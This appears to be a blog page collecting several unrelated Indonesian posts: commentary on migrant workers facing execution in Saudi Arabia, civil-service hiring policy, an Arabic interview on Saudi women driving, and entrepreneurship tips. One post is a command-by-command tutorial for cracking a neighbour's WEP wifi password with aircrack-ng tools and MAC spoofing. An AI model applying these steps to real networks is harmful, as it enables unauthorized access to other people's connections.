Hanif Ys
 
Hukum pancung yang menimpa kepada Ruyati sepertinya bukan hukum pancung yang terakhir kepada para tenaga kerja wanita (TKW) Indonesia yang bekerja di Arab Saudi. Tercatat masih ada sekira 23 TKW yang nasibnya dengan hukum pancung. Meski, misalnya, 23 TKW itu sudah dipancung satu per satu, itu tidak akan membuat pemerintah Indonesia menghentikan pengiriman TKW.

Kalau diselisik, kejadian yang menimpa Ruyati pada saat ini, pada tahun 2010 sudah pernah terjadi kasus serupa, di mana TKW asal Cianjur, Jawa Barat, bernama Kikim Komalasari ditemukan tewas di sebuah tong sampah Kota Abha, Arab Saudi. Kikim diduga dibunuh sang majikan setelah diperkosa. Kejadian yang demikian rupanya tidak dijadikan pelajaran oleh pemerintah, dan mungkin saja pemerintah menganggap itu sebagai hal yang biasa sehingga pemerintah tetap mengirimkan TKW ke Arab Saudi.
 
Pemerintah Indonesia meski ditekan dari banyak pihak untuk menghentikan pengiriman TKW ke Arab Saudi namun tetap tidak mendengar desakan itu bisa jadi pemerintah menganggap kejadian seperti Ruyati, Kikim Komalasari, dan kasus-kasus penyiksaan dan pembunuhan lainnya sebagai 1: 1.000. Artinya pembunuhan yang terjadi hanya terjadi pada satu TKW di antara 1.000 TKW lainnya. Jadi tidak semua TKW mengalami nasib seperi Ruyati atau Kikim Komalasari sehingga masalah TKW di luar negeri masih dianggap aman-aman saja. 

Ketika kasus yang menimpa Kikim Komalasari terjadi, pemerintah Indonesia pernah mempertimbangkan untuk menghentikan pengiriman TKW ke Arab Saudi. Namun bila pemerintah menghentikan pengiriman TKW ke Arab Saudi, pemerintah berpikir hal yang demikian akan berimbas kepada masalah lapangan kerja di Indonesia. Pergi Arab Saudi merupakan sebuah kesempatan lapangan kerja yang sangat mudah dan cepat. Bila itu ditutup tentu akan terjadi penyempitan lapangan kerja. Pernah tercatat, jumlah tenaga kerja Indonesia di Arab Saudi mencapai 1 juta, dan 750.000 adalah perempuan. Bayangkan bila sejuta lapangan kerja ditutup, tentu akan menyebabkan semakin banyaknya pengangguran dan berujung pada semakin beratnya beban negara.

Selain itu bila dihentikannya pengiriman TKW maka devisa negara akan menurun. Pada tahun 2006 para Tenaga Kerja Indonesia yang bekerja di luar negeri selama setahun menyumbangkan devisa kepada negara sebesar Rp60 triliun. Dengan devisa itu mampu memberi makan kepada sekira 30 juta orang di Indonesia. Apa yang dihasilkan para tenaga kerja itu sebuah prestasi yang luar biasa sebab jumlahnya kedua terbesar setelah peringkat utama dari sektor minyak bumi dan gas (migas).

Masalah tenaga kerja keluar negeri memang sejak dahulu menjadi dilema bagi pemerintah. Di satu sisi pemerintah tidak mampu menciptakan lapangan kerja di dalam negeri, di sisi lain para tenaga kerja Indonesia yang bekerja di luar negeri tidak mempunyai skill yang cukup. Skill dan pendidikan yang rendah itulah yang membuat para tenaga kerja tidak mampu membela diri. 

Arab Saudi Menolak Hukum Thogut 

Apa yang terjadi pada Ruyati merupakan sebuah keprihatinan bagi kita semua, lebih-lebih hukum pancung yang menimpanya hanya berselang beberapa hari selepas Presiden Republik Indonesia Susilo Bambang Yudhoyono (SBY) menyampaikan pidato soal pentingnya perlindungan terhadap buruh migrant di markas ILO, organisasi buruh internasional, Jenewa, Swiss.

Pidato dengan tema Forging A New Global Employment Framework for Social Justice and Eguality dalam konferensi ILO itu dengan gagah SBY menyampaikan, buruh migran di Indonesia disebut sebagai pahlawan devisa dan sebagai pahlawan di rumah tangganya. Untuk itu SBY mengajak semua negara untuk memperhatikan dan memberikan pelindungan terhadap pelaku pekerja di sektor domistik atau rumah tangga. 

Apa yang terjadi di ILO itu, pemerintah Arab Saudi bisa saja mereka mendengar dan menyimak, namun apa yang disuarakan dari ILO itu tidak membuat Arab Saudi serta merta melaksanakan aturan-aturan itu.  Mengapa demikian? bisa jadi aturan-aturan yang datang dari Barat oleh Arab Saudi dianggap sebagai aturan orang kafir atau thogut sehingga sampai kapanpun Arab Saudi tidak mau meratifikasinya. Misalnya saja Arab Saudi tidak mau meratifikasi Konvensi PBB tahun 1990 tentang Perlindungan Hak-Hak Buruh Migran dan Anggota Keluarganya.

Kalaupun Arab Saudi menyatakan adanya aturan hukum internasional yang mengacu pada HAM, itu hanya lips service semata. Ketika pada Oktober 2010, Ketua MA Kerajaan Arab Saudi Saleh Bin Abdullah Bin Humeid berkunjung ke pimpinan MPR, ia mengatakan bahwa Arab Saudi sudah mempunyai organisasi HAM (Hak Asasi Manusia) yang melindungi seluruh tenaga kerja. Saleh Bin Abdullah Bin Humeid membuka pengadilan untuk menangani masalah tenaga kerja. Bila adalah masalah pada tenaga kerja, pemerintah Arab Saudi sudah membentuk lembaga tempat tenaga kerja mengadukan dan melaporkan, misalnya bila menghadapi masalah gaji atau pun kasus penyiksaan. 

Namun apa yang dikatakan itu terbalik dengan realitas yang ada. Dengan adanya kasus Ruyati menunjukan bahwa Arab Saudi dalam melindungi para tenaga kerja hanya sebatas konsep dan lips service semata. Akibat dari tidak bersedianya Arab Saudi mengikuti hukum dan aturan internasional tersebut maka Indonesia yang warganya tertimpa masalah di negeri itu mengalami kesulitan ketika mencoba menggunakan kekuatan hukum internasional. 

Bila Arab Saudi tidak sudi menggunakan hukum internasional dalam masalah tenaga kerja maka kita pun juga bisa mensiasati menggunakan hukum Islam. Misalnya dengan kapasitasnya sebagai ulama besar, Presiden Gus Dur menelepon Raja Arab Saudi ketika ada kasus TKW yang terancam hukuman mati. Berkat sosok Gus Dur sebagai ulama maka hukuman bagi Siti Zaenab, akhirnya dibatalkan.

Contoh lainnya adalah, meski Arab Saudi sudah jelas menggunakan nilai-nilai yang terkandung dalam agama Islam dalam masalah hukum, namun itu perlu kita jelaskan lagi pentingnya kesejahteraan dan perlindungan kepada para tenaga kerja sesuai dengan tuntunan Nabi, yakni sebuah hadits yang mengatakan,  "Bayarlah upah buruh sebelum kering keringatnya". Tidak hanya itu, kita paparkan kembali bahwa dalam syirah nabawiyyah banyak pengalaman Nabi yang membebaskan budak. Membebaskan budak ini dalam konteks sekarang adalah memberi perlindungan, pengayoman, kesejahteraan, cuti di hari libur, dan dianggap sebagai saudara sendiri kepada tenaga kerja.

Pendekatan-pendekatan secara hukum Islam inilah yang kurang dilakukan oleh SBY. Akibatnya satu persatu TKW dipancung dan menunggu hukum pancung.  

Ardi W
 
دعت الأميرة السعودية بسمة بنت عبد العزيز آل سعود إلى منح الحريات قبل أن تتحول إلى تحديات، مؤكدة في الوقت ذاته أن لا أحد يتمتع بحصانة تجاه رياح التغيير التي تهب على العالم العربي.طوني شاميه (نص)  أوضحت الأميرة السعودية بسمة بنت عبد العزيز آل سعود ردا عن سؤال حول "هيئة الأمر بالمعروف والنهي عن المنكر"  قائلة: "عندما أسس والدي الراحل هيئة الأمر بالمعروف والنهي عن المنكر كان الهدف منها مراقبة المجتمع لكن الأمور تغيرت باتجاه ممارسة ضغوط اجتماعية على المرأة التي أصبحت هدفا" للهيئة".

هذه التصريحات اللافتة أتت في وقت أعلن فيه توقيف خمس نساء لقيادتهن السيارة. عن هذا الموضوع تحدثت الناشطة النسائية السعودية إيمان النفجان.  هناك أنباء تتحدث عن توقيف خمس نساء وهن يقدن السيارة. هل هناك من تطورات في هذا المجال؟"هيئة الأمر بالمعروف والنهي عن المنكر" ألقت القبض على أربع فتيات كن في سيارة واحدة في جدة ثم وقع إحالتهن إلى "هيئة الادعاء والتحقيق العام". كذلك وقع القبض في نفس اليوم من قبل الشرطة على فتاة أخرى كانت تقود السيارة بجانب أخيها. جرت العادة أنه عندما تحصل مثل هذه الحالات فإن الشرطة تنتظر مجيء ولي الأمر لتوقيع تعهد من أن ابنته أو زوجته لن تقود مرة أخرى السيارة وأنه هو الذي يتحمل المسؤولية في المستقبل. هل هناك فتوى تحرم هذا أم أن القانون هو إلى جانب الفتاة أو السيدة في قيادة السيارة؟قبل العام 1990 لم يكن هناك كلام أبدا حول هذا الموضوع وكان منع المرأة أو الفتاة من قيادة السيارة مقبولا اجتماعيا. لكن بعد التسعينات خرج حوالي 47 امرأة في مظاهرة للتعبير عن استيائهن من هذا الوضع والذي لا يسمح للمرأة بقيادة السيارة في المملكة. وكردة فعل قامت وزراة الداخلية وقتها بنشر بيان يمنع النساء من قيادة السيارات في السعودية. كذلك هيئة الافتاء، برئاسة الشيخ بن بعل والشيخ بن عاتمين، أصدرت من جهتها فتوى حرمت فيها قيادة السيارات ليس لأن قيادة السيارة حرام في حد ذاته وإنما حسب تفكيرهم قيادة السيارة تؤدي الى الفساد وتسهل خروج المرأة من المنزل وتؤدي أيضا إلى الاختلاط وإلى الفتنة. بعد ذلك بسنة، أصدرت المملكة نظاما جديدا ألغى كل ما سبقه. في العام 2000 وقعت السعودية على الاتفاقية العالمية في "داو" التي تلغي أي نوع من أنواع التمييز ضد المرأة. من الملاحظ أن هناك بعضا من النساء، وقد تحدثن الى بعضهن، يقلن أنه يجب الانتظار. هناك حراك، هناك تحرك نحو إعطاء المزيد من حقوقها وقيادة السيارة ستأتي. أنتي ماذا تقولي؟ هم يطلبون منكم التحلي بالصبر؟في العام 2005 طلب الملك عبد الله في مقابلة له مع بعض النساء السعوديات التحلي بالصبر حول هذا الموضوع. الملك عبد الله محبوب لدينا كثيرا وقبلنا بالصبر. لكن نحن الآن ننتظر منذ ست سنوات. وهذا المطلب بسيط جدا وليس فيه تهديد للدولة أو للنظام. الحاجة المادية والمعنوية أصبحت ضرورية بالنسبة للنساء والوضع الاقتصادي في السعودية تغير كثيرا وأصبحت نسبة البطالة مرتفعة جدا والوضع أصبح صعبا. كما هو معلوم أن السعوديات اللواتي يتعلمن في الخارج يقدن السيارات. كيف يسمح لهن قيادة السيارة في الخارج وكيف يتقبل هذا الرجل وهذا المجتمع الذكوري ذلك في الخارج ولا يقبله في الداخل؟لكل أحد مبرراته . يقول البعض إن الرجل السعودي هو ذئب بشري وأنه يهجم على كل امرأة. لكنني غير متفقة مع هذا الكلام لأن نفس الرجل السعودي عندما يذهب إلى الخارج لا يحدث منه شيء من هذا النوع. الرجل السعودي هو رجل طبيعي له الشهم العربي مثل أي رجل عربي آخر. حسب الاحصائيات الأخيرة توجد حوالي 45 الف رخصة دولية للسياقة وهذا لا يشكل أغلبية ولا ظاهرة كبيرة في المجتمع السعودي.
another link :http://www.inbaa.com/modules.php?name=News&file=article&sid=31217
 
Picture
Mungkin saat ini banyak mata dan telinga tertuju pada hiruk pikuk dan amburadulnya politik di negeri ini, nama Ani Ratnawati tak banyak dikenal oleh masyarakat, bahkan namanya tak pernah menyeruak mencuri perhatian media. Jauh dari popularitas tokoh yang tiba-tiba saja sering menggelitik telinga orang awam. Ada Nazarudin yang melebihi popularitas Udin sedunia, muncul nama Andi Nurpati yang menenggelamkan nama mahapatih Gajah Mada, muncul Surya Paloh yang sempat bikin bingung pecandu Gudang Garam Surya.

Ani hanya wakil menteri keuangan yang mungkin tak pernah mau namanya terpublikasikan. tapi karena dialah yang mula-mula memundulkan wacana dan menggagas penghentian sementara pengangkatan Pegawai Negeri Sipil (PNS). serta membuat wacana ini bergulir bak bola salju, tiba-tiba namanya banyak disebut media walau tak sesering tokoh-tokoh kontroversial di atas.

Menurutnya Jumlah PNS yang sudah mencapai 4,7 juta sangat membebani APBN. Ketika jumlah tersebut secara kuallitatif membebani anggaran negara hingga lebih 30 persen, banyak pihak yang mulai menuding bahwa kebijakan yang digulirkan di awal kepemimpinan SBY itu, sekarang mulai menuai hujatan. Negara "terbebani" membayar pegawainya yang belum terbukti berbanding lurus dengan produktifitasnya. Bahkan negara kian ambruk dan terpuruk, kebijakan itu terbukti kontraproduktif tak menambah angka signifikan pada angka kesejahteraan perindividu secara integral.

Secara nasional serapan sebesar 30 persen tersebut bisa saja menjadi angka yang sangat kecil bila ditilik lebih jauh ke daerah tingkat kabupaten atau kota madya. Mungkin akan belipat dua atau bahkan naik lebih 200 persen. Padahal kalau dikalkulasi labih jauh sebenarnya penambahan tenaga kerja dibeberapa sektor tidak didasarkan pada skala kebutuhan. Cobalah kita jalan-jalan ke kantor layanan publik seperti di kantor kecamatan misalnya, Berapa orang di antara mereka yang benar-benar bekerja? dan berapa persen diantara mereka yang santai nonton televisi sambil menunggu jam pulang kantor dan awal bulan depan terima ongkos lelah menunggu.

Belanja untuk pegawai tersebut secara matematis akan mengurangi alokasi belanja untuk pembangunan infrastruktur dan fasilitas publik yang seharusnya lebih diutamakan. Seperti pembangunan dan perbaikan jalan akses untuk kawasan yang belum sepenuhnya memperoleh perhatian di daerah-daerah luar dan pedalaman. Dengan demikian efek pemerataan akan semakin terasa dan di sisi lain peningkatan taraf hidup dengan infrastruktur yang memadai lebih gampang tercapai. Tentu saja penerapannya harus ekstra hati-hati dan tidak diserahkan pada segelintir orang atau pada penguasa. Ini bisa celaka karena hanya akan membuka kran pungutan yang tidak proporsional dan ditilap Nazarudin dan kroninya serta Nazarudin-Nazarudin lain yang masih menunggu kesempatan.

Di sisi lain pemerintah dituntut menaikkan gaji PNS yang sudah dilakukan hampir selama lima tahun terakhir. ada juga kebijakan gaji ke 13 yang dulunya diyakini sebagai angka sial kini menjadi lucky number PNS yang sudah  hampir enam tahun berturut-turut diberikan. Ditambah lagi  renumerasi yang secara bertahap yang telah dilaksanakan di sejumlah kementerian. Tiga kebijakan itu secara kumulatif meningkatkan beban anggaran negara dengan sangat signifikan. Semula kebijakan ini berlatarbelakang reformasi. Meskipun faktanya… juga tidak mengubah apa2. Korupsi masih menggerogoti hampir di semua lini dan tingkatan dalam birokrasi.

Ini semua karena pengangkatan PNS memang tidak lepas dari kebijakan politik kekuasaan partai penguasa sejak awal pemerintahan. Kebijakan ini pula yang menjadi salah satu biang kerok mengapa PNS menjadi tak efektif. Salah satunya karena kebijakan pengangkatan tenaga honorer tanpa proses seleksi.

Kita Coba Evaluasi

Satu tahun sejak saat terpilihnya SBY sebagai presiden, hal pertama yang dilakukannya adalah mengamankan posisi kekuasaannya pada pilpres berikutnya tahun 2009. Politik kekuasaan itu langsung dituangkan dengan terbitnya PP No. 48 Tahun 2005 tentang Pengangkatan Tenaga Honorer menjadi Pegawai Negeri Sipil. Pengangkatan (tanpa seleksi) berlaku bagi semua tenaga honor yang diangkat sebelum 2005 dan ditargetkan selesai tahun 2009. Jelas angka tahun 2009 bukan  karena sekedar mengandung unsur 9 sebagai angka favorit SBY. Tapi mengarah pada masa pilpres untuk masa jabatan kedua. Kebijakan pengangkatan–tanpa seleksi–bagi tenaga honor jelas menjadi kebijakan politik kekuasaan yang sekaligus menjadi blunder bagi politik birokrasi pemerintah. Kenapa demikian?

Pertama, rekrutmen tenaga honorer, meski kadang tak berpijak pada kebutuhan tenaga riil atas beban kerja dan  keterbatasan anggaran, adalah merupakan kebijakan yang sarat dengan nuansa KKN. Bukan rahasia lagi bahwa bahwa rekrutmen tenaga honor ini umumnya merupakan akal-akalan sebagai jalan memutar untuk bisa menjadi PNS. Rekrutmen dengan mudah dilakukan tanpa proses seleksi baku seperti halnya seorang calon PNS umumnya. Banyak pintu yang dimasuki untuk dapat menjadi tenaga honorer karena memang tidak ada standar baku bagi pengangkatannya.  Bahkan seorang kepala sekolahpun dapat merekrutnya cukup dengan satu lembar surat tugas yang dapat diperpanjang setiap tahun.

Banyaknya pintu dan tidak adanya standar seleksi menjadikan seorang kepala satuan kerja dengan mudah memasukkan siapa saja yang dikehendaki untuk direkrut menjadi tenaga honorer. Pada situasi ini faktor kekerabatan menjadi sangat menonjol. Atau jika dia orang lain, imbalan dapa menjadi latar belakangnya. Pada situasi ini dapat kita bayangkan bagaimana kualitas hasil rekrutan yang hampir tanpa seleksi.

Kedua, celakanya pula kebijakan pengangkatan tenaga honorer yang terbatas hanya bagi tenaga sebelum 2005, disambut dengan ‘kreatifitas’ berlebihan oleh sejumlah kepala satuan kerja di daerah. Muncullah tenaga2 honorer yang sebenarnya diangkat setelah tahun 2005, dan seharusnya tidak berhak diangkat menjadi PNS  dokumennya disulap ‘anti datir‘ (mundur) seolah mereka telah menjadi tenaga honorer sebelum tahun 2005. Dengan tujuan tertentu–umumnya dengan motif kekerabatan atau imbalan–mereka menjadi ‘berhak’ untuk menduduki ‘kursi nyaman’ sebagai PNS.

Meminjam istilah MenPAN R&B, kreatifitas ‘kurang ajar’ seperti di atas menyebabkan sebagian tenaga honorer yang lebih berhak menjadi tercecer. Dan hingga sekarang masih belum selesai. Dengan beban pengangkatan ini pemerintah memperpanjang kebijakan pengangkatan honorer hingga tahun 2012. Kelompok inilah yang selama ini banyak menghiasi media massa dan berdemo menuntut untuk tetap diangkat.

Dinamika anggaran saat ini telah berubah. Kebijakan remunerasi belum menyentuh semua PNS dan sebagian belum 100 persen dibayarkan. Di lain pihak kebijakan untuk menyesuaikan gaji PNS dengan inflasi melalui kenaikan gaji setiap tahun, dan pemberian gaji ke 13 telah menjadi perangkap hukum melalui amanat UU. Tidak ada pilihan lain bagi pemerintahan SBY, moratorium dan program pensiun dini menjadi satu-satunya alternatif rasional untuk lolos dari kebangkrutan negara. Politik kekuasaan yang dibungkus dengan politik birokrasi dan reformasi PNS, bagai menepuk air di dulang–memercik muka sendiri. Seperti slogan antikorupsi yang hingar bingar didengungkan pada awal pemerintahan, dan kini menjadi bumerang bagi diri sendiri.

Jika program nol pertumbuhan (zero growth) melalui moratorium dan pensiun dini PNS tidak direncanakan  melalui cetak biru atas peta kebutuhan riil pegawai dan beban kerja, niscaya persoalan PNS  akan menjadi pekerjaan “cuci piring” bagi pemerintahan berikutnya. Seperti yang dikeluhkan pemerintahan SBY saat awal masa pemerintahannya–pasca kemenangan pilpres yang menggeser pemerintahan Megawati. Lalu siapa pula yang sudi menjadi presiden di sebuah negeri diambang Bangkrut selain orang-orang yang justru  akan memperkeruh keadaan....?

 
Picture
Halo..., beberapa hari lalu saya posting sekelumit tentang Backtrack, salah satu distro Linux yang mudah dioperasikan sebagaimana kita terbiasa dengan Windows. 

Nah sekarang seperti yang pernah saya sampaikan sebelumnya, ternyata backtrak ampuh juga digunakan untuk hacking wifi (wireless Fidelity) tetangga. Tapi pertama saya ingin mendedikasikan tulisan ini buat sobat yang punya layanan wifi (baik warnet, instansi atau perorangan) agar lebih hati-hati memproteksi hotspotnya. Karena wifi denan enkripsi WEP 100 persen bisa di hack dan sudah saya buktikan. Sekali lagi ini hanya tutorial bagi pemilik router dan bukan untuk tujuan yang tidak diinginkan.

Butuh waktu cukup lama ketika pertama kali saya mencobanya, karena masih kaku dengan commands yang masih asing.  Kebetulan saya mendapat copy Backtrack dari seorang teman. Karena penasaran dan di sekitar tempat saya tinggal berseliweran wifi, baik yang open tanpa pasword yang biasa saya gunakan, atau yang diproteksi dengan enkripsi WEP atau  WPA. Saya coba tanya mbah google kemungkinan hacking password dengan wifi, hasil searching itupun cukup membingungkan karena rata-rata menggunakan bahasa Inggris.

Pertama sobat harus punya OS backtrack baik dalam bentuk keping cakram atau tersimpan di flash memory. Jika belum punya coba aja unduh filenya disini. Jangan tergesa-gesa karena filenya cukup besar. Kalau sobat punya speed access minimal 1 kbps, kira-kira butuh 3 jam sampai unduhan selesai. Simpan file tersebut dalam bentuk ISO file dalam keping cakram dulu agar sobat bisa mengoprerasikan secara terpisah dengan windows yang sobat punya. Jangan khawatir bakctrack ini dishare secara gratis dan terkenal keamanannya.


Jika proses pertama sudah selesai dan Backtrack sudah di genggaman, sobat tinggal boot aja komputer sobat dengan OS dimaksud dan tunggu sampai booting selesai. 

Bukalah konsol baru, untuk mengetahui driver interface yang sobat pakai, ketikkan dan enter perintah berikut: (mengetahui driver interface penting agar perintah-perintah berikutnya dapat dijalankan)

airmon-ng

maka akan muncul nama interface sebagaimana dalam gambar berikut:

Picture
Di layar akan muncul driver interface wifi yang sobat pakai, pada  gambar diatas driver yang muncul adalah ra1. Driver ini bisa bervariasi tergantung dari chip yang terpasang baik internal atau eksternal. bisa jadi yang muncul seperti wlan0, rt2540 atau lainnya.

Kemudian hentikan sementara koneksi wireless sobat untuk mengganti mac code dengan perintah berikut: 

airmon-ng stop [interface
interface dalam hal ini adalah driver yang saya sebutkan di atas, contoh :

 airmon-ng stop ra1

Dengan command di atas berarti sobat sudah memberi perintah disconnect wireless yang sobat pakai. Lalu ketik lagi command berikut berturut-turut:

ifconfig [interface] down

macchanger --mac 00:11:22:33:44:55  [interface]

airmon-ng start [interface]
command terakhir di atas adalah untuk mengaktifkan kembali wireless yang sebelumnya disconnected. Selanjutnya saatnya kita memilih rangkaian wireless yang akan kita hack passwordnya. Sekali lagi yang paling mudah adalah wireless dengan enkripsi WEP. Jalankan perintah berikut :

airodump-ng [interface]

Akan muncul seluruh hotspot yang berada dalam jangkauan, tunggulah beberapa saat sampai sobat mendapatkan sasaran terbaik untuk di shoot. Lihat dulu kira-kira strengh sinyal terkuat dengan enkripsi WEP yang paling empuk untuk dihack. Bila sobat sudah menemukannya, hentikan pencarian dengan menekan tombol ctrl+c.

OK, bila sudah dapat, sekarang fokuskan pada target. disitu ada channel (Channel number atau frekuensi yang dipakai berupa angka 1 sampai 11), ESSID ( Extended Service Set IDentifier atau identitas pengguna) dan BSSID ( Basic Service Set IDentifier) . Agar lebih mudah copy - paste saja BSSID dan ESSID dalam command berikut:
airodump-ng –c [Channel Number] –w [ESSID] --bssid [BSSID] [interface]


contohnya :
airodump-ng –c 1 –w network --bssid c0:ca:30:1d:2b ra1

bila bisa dipahami sampai disini lanjutkan saja proyek kita dengan membuka konsole baru dan ketik command :

airreplay-ng -1 0 –a [BSSID] –h 00:11:22:33:44:55 -e [ESSID] [interface]


Perintah di atas dimaksudkan untuk meningkatkan proses hacking untuk memecahkan paket data yang kita cari. OK, sekarang kita perintahkan mesin kita bekerja untuk mengumpulkan paket data sebanyak-banyaknya dengan memasukkan command berikut :

airreplay-ng -3 –b [BSSID] –h 00:11:22:33:44:55 -e [ESSID] [interface]


Tunggulah beberapa detik sapai data mencapai di atas angka 1000, kemudian jika dirasa sudah cukup tekan ctrl+c untuk menghentikannya. Lalu ketik command :

aircrack-ng –b [BSSID] [ESSID-01.cap]
dan data yang muncul adalah berupa digit berikut:

XX:XX:XX:XX:XX

its ok, sobat sudah dapat password XXXXXXXXXX (tanpa pemisah titik dua)
 
Picture

Pengusaha ada yang sukses tak sedikit juga yang gagal. Dari sekian banyak yang gagal, untuk bangkit kembali seringkali mereka hanya berkutat pada wilayah-wilayah di luar diri mereka (produk, klien, atau pegawai). Padahal, bisa jadi ada banyak persoalan yang jika terus ditelusuri akan mengarah pada diri mereka sendiri, yaitu wataknya
.

Yang berbicara tentang watak pengusaha atau calon pengusaha sukses mungkin sudah sangat banyak. Terus terang, membacanya saja saya sudah bosan, apalagi menulisnya. Sekali-sekali saya ingin menulis tentang ‘gagal’. Belajar melakukan sesuatu dengan benar dari mereka yang melakukannya dengan salah. Belajar dari orang yang gagal.

Seseorang adalah calon pengusaha gagal jika:

1. Ucapannya Tidak Bisa Dipegang
Saya yakin bukan hanya di dunia usaha, dimanapun kejujuran adalah modal dasar. Strategi opersional, kebijakan manajemen, hingga pengaturan keuangan perusahaan boleh berubah ditengah jalan. Tetapi, apa yang pernah dijanjikan—kepada siapapun (pelanggan, pemasok, hingga pegawai), wajib ditepati. Tak boleh berubah.

Jika berjanji untuk mengirimkan contoh produk, maka harus benar-benar kirimkan tepat pada waktunya. Pernah janji untuk memberi diskon pada pelanggan, maka harus benar-benar berikan diskon. Pernah berjanji untuk memberi bonus pada pegawai jika proyek berhasil, maka harus benar-benar diberikan. Tidak boleh ingkar. Jika tidak yakin jangan menjanjikan. Jika sudah menjanjikan harus ditepati.

Jika janji jemput pacar saja sudah dilanggar, apalagi janji mengeluarkan bonus untuk pegawai. Belajar menepati omongan dahulu, sebelum berpikir untuk menjalankan usaha.

2. Tidak Bertanggungjawab
Jika selama ini seseorang dikenal sebagai orang yang ahli ‘berdalih’, pintar cari-cari alasan. Sebaiknya dia tidak coba-coba bikin usaha. Setidaknya hingga mampu melupakan keahlian berdalih untuk menjadi orang yang berani mengambil tanggungjawab. Salah satu aspek paling menyenangkan dengan menjadi pengusaha adalah ‘menjadi penentu’. Sebagai pemilik usaha, segala keputusan ada di tangan sendiri. Tetapi, ada konsekwensi, yaitu: tanggungjawab.

Tak peduli siapapun yang membuat kesalahan di dalam perusahaan tetap saja menjadi tanggungjawab pemimpin perusahaan. Seorang pelanggan yang kecewa, tidak akan bertanya: “pegawai anda yg mana yang membuat kesalahan?”. Penanam modal di perusahaan tidak mau tahu kondisi ekonomi makro yang buruk, yang mereka mau tahu hanya keuntungan, bukan alasan kenapa tidak untung.

Sehingga, sebelum seseorang mencoba-coba terjun ke dunia bisnis, sebaiknya dia belajar untuk bertanggungjawab atas kehidupan pribadinya terlebih dahulu.

3. Tidak Bisa Mengambil Keputusan
Bukan berarti seorang pengusaha harus mengambil segala macam keputusan hingga menentukan berapa sendok gula pak satpam boleh pakai untuk bikin kopi. Bukan pengambilan keputusan yang butuh waktu berjam-jam. Juga bukan keputusan yang mengikuti teori prosedur pengambilan keputusan secara kaku. Bukan ketiganya.

Seorang pengusaha bukan hanya sekedar menjalankan fungsi mangatur dan mengelola (to manage) melainkan juga menjalankan fungsi memimpin (to lead). Sehingga seorang pengusaha sejati mampu membuat sebuah keputusan, lalu SEGARA mengubah keputusannya menjadi tindakan nyata (implementasi). Dan yang tak kalah pentingnya adalah BERANI menghadapi hasilnya apapun itu (baik atau buruk).

Nah jika seseorang adalah type yang tidak bisa mengambil keputusan dan mengubahnya menjadi tindakan, sebaiknya dia pikir-pikir dahulu sebelum terjun ke dunia wirausaha.

4. Motivasinya Hanya Uang
Dunia pengusaha adalah dunianya roller-coaster. Ada pasang dan surut. Hari ini dapat uang, mungkin besok kehilangan uang. Hari ini pegang uang banyak, besok mungkin tidak pegang uang. Nah jika tujuan seseorang membuat usaha hanya untuk uang, maka motivasinya akan langsung jatuh saat dia harus kehilangan uang tanpa bisa bangkit lagi. Artinya gagal.

Mendirikan dan menjalankan usaha, terutama di awal-awal, siapapun akan lebih sering kehilangan uang dibandingkan mendapat uang. Butuh waktu yang lama (mungkin bertahun-tahun) untuk mencapai titik stabil. Butuh motivasi internal yang kuat agar bisa terus berjalan ke depan meskipun dalam kondisi tidak pegang uang.

5. Emosinya Tidak Stabil
Jika seseorang adalah type yang di satu sisi ‘terlalu-percaya-diri’ tetapi di sisi lainnya ‘mudah-depresi’, sebaiknya dia tidak menjadi wirausahawan. Kombinasi dua watak dasar ini sangat tidak kondusif untuk menjalankan usaha.

Dunia usaha adalah dunia pasang-surut. Membutuhkan sifat opitimis yang realistis, sekaligus tabah dalam menghadapi setiap tantangan. Seorang pengusaha harus mampu menjaga stabilitas emosinya agar di satu sisi mampu menahan gairah dan semangatnya agar tetap realistis dalam melihat peluang bisnis, di sisi lainnya siap menghadapi kegagalan.

Orang yang memiliki emosi tidak stabil adalah sosok yang menakutkan bagi penanam modal maupun calon pelanggan. Tak seorangpun merasa nyaman berhadapan dengan orang yang memiliki emosi labil.

6. Tidak Mampu Mengatasi Kekacauan
Coba lihat meja kerja atau kamar orang yang cukup dikenal.  Jika dia type orang yang biasa hidup dalam kekacauan itu bagus—karena dunia usaha memang penuh dengan keruetan dan kekacauan. Tetapi jika meja atau kamarnya kacau sejak berhari-hari yang lalu dan sampai sekarang masih tetap kacau, berarti tidak cocok untuk menjadi pengusaha.

Idealnya, kekacuan dan keruetan dalam perusahaan harus bisa dibereskan dalam waktu satu hari hingga seminggu. Seseorang tidak perlu menjadi orang yang super-bersih dan super-teratur. Dia hanya perlu menjadi orang yang bisa bertindak efektif-efisien. Bisa membereskan apa yang harus dibereskan, tepat pada waktunya, sesuai dengan yang diinginkan.


Tak satupun dari keenam watak dasar di atas merupakan jaminan untuk menjadi gagal. Tetapi sudah pasti akan membuat proses menuju sebaliknya menjadi lebih berat. Jika ada yang memiliki salah satu diantara 6 tersebut, sebaiknya tidak berkecil hati. Itu bisa diubah. Untuk yang sudah menjalankan usaha, dan kebetulan memiliki salah satu watak tersebut, mungkin dengan mengubahnya bisa membuat perusahaannya menjadi lebih baik, lebih produktif, lebih efisien dalam beroperasi, dan lebih menguntungkan. ~Gusti Bob.

Repost tulisan : Gusti Bob/Kompasiana
 
Tulisankku kemarin yang di terbitkan di Kompas, ternyata banyak menimbulkan kontroversi. Sengaja aku tak menanggapi komentar-komentar para pembaca yang aku lihat terakhir sudah diklik sebanyak lebih dari 34000 kali, share  Facebook dan Twitter masing-masing berjumlah 567 dan 90 dalam waktu kurang dari 24 jam sejak diterbitkannya. Angka yang cukup tinggi untuk publikasi opini di media massa.

Aku menulis opini tersebut karena gelisah setelah nonton acara talkshow di TVone yang menayangkan pernyataan aktifis Yahudi Indonesia untuk merayakan HUT Israel di jalanan ibu kota. Jengah, dongkol juga karena belum hilang dari ingatanku bahwa kata dan simbol Yahudi ternyata menjadi salah satu pemicu maraknya radikalisme di Indonesia. setelah kegundahan itu, aku tulis di akun Kompasianakusecara spontan dan tanpa aku edit kembali. Memang banyak kesalahan ketik disitu karena nulisnya terburu dan tak lebih dari 10 menit. Baru 5 menit setelah publish, tlisan yang aku beri judul "Komunitas Yahudi Mau Merayakan HUT Israel" itu kemudian masuk kategori High Light, dan 5 menit berikutnya aku menerima permintaan ijin dari redaksi Kompas agar tulisanku dapat diterbitkan ke media itu. Aku iyakan aja, itung-itung kalaupun cuma HL di Kompasiana, tingkat keterbacaannya jarang menembus angka 1000, karena yang membaca tentu hanya mereka yang memiliki akun di sicial media itu saja. Aku pikir ini menjadi apresiasi sendiri buat aku dapat menulis di harian Nasional itu.

